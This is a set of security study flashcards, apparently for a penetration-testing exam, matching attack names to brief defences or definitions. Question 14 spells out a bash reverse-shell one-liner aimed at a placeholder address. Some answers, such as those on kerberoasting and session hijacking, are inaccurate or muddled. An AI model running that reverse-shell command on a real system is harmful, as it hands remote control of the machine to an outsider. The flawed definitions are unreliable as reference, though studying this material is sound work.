ATTACKS

Question 1

Elicitation attack

Answer 1

obtaining information without directly asking for it

Question 2

Spear Phishing

Answer 2

targets specific individuals or groups within an org

Question 3

Reflected XSS

Answer 3

input sanitization (< >…)

Question 4

SQL Injection Stacked

Answer 4

parameterized queries

Question 5

DOM XSS

Answer 5

input sanitization (< > …)

Question 6

Local File Inclusion

Answer 6

sandbox req

Question 7

Command Injection

Answer 7

sandbox req

Question 8

SQL Injection Union

Answer 8

Parameterized queries

Question 9

SQL Injection ERROR

Answer 9

parametrized queries

Question 10

Remote File Inclusion

Answer 10

Sandbox

Question 11

Command injection

Answer 11

input sanitization $

Question 12

URL Redirect

Answer 12

prevent external calls

Question 13

Zigbee

Answer 13

IoT

internet of things

Zigbee is a wireless technology developed as an open global standard to address the unique needs of low-cost, low-power wireless IoT networks.

Question 14

Reverse Shell

Answer 14

bash -i >& /dev/tcp/[dest ip]/[port] 0>&1

Question 15

Point in Time Assessment

Answer 15

Compliance-based & Goals-based assessments.

Question 16

Man in the Middle

Answer 16

ARP Spoofing
Replay
Relay
SSL Striping
Downgrade

Question 17

Invalidated Redirect

Answer 17

a web application accepts untrusted input in such a way that it causes a visitor to be redirected to another site.

Question 18

Session Hijacking

Answer 18

Session hijacking is used to steal session IDs in which malicious code is installed on the website of a client, and then the cookie for this is stolen.

Question 19

Four types of vulnerability assessments:

Answer 19

Active
Passive
Internal
External

Question 20

De Authentication

Answer 20

kick devices off router forcing them to re-connect

Question 21

ret2libc

Answer 21

privilege escalation inside linux

buffer overrun exploit

Question 22

kerberoasting

Answer 22

a password-cracking attack in which credentials are stolen from memory and cracked offline

Question 23

VLAN double-tag

Answer 23

802.1Q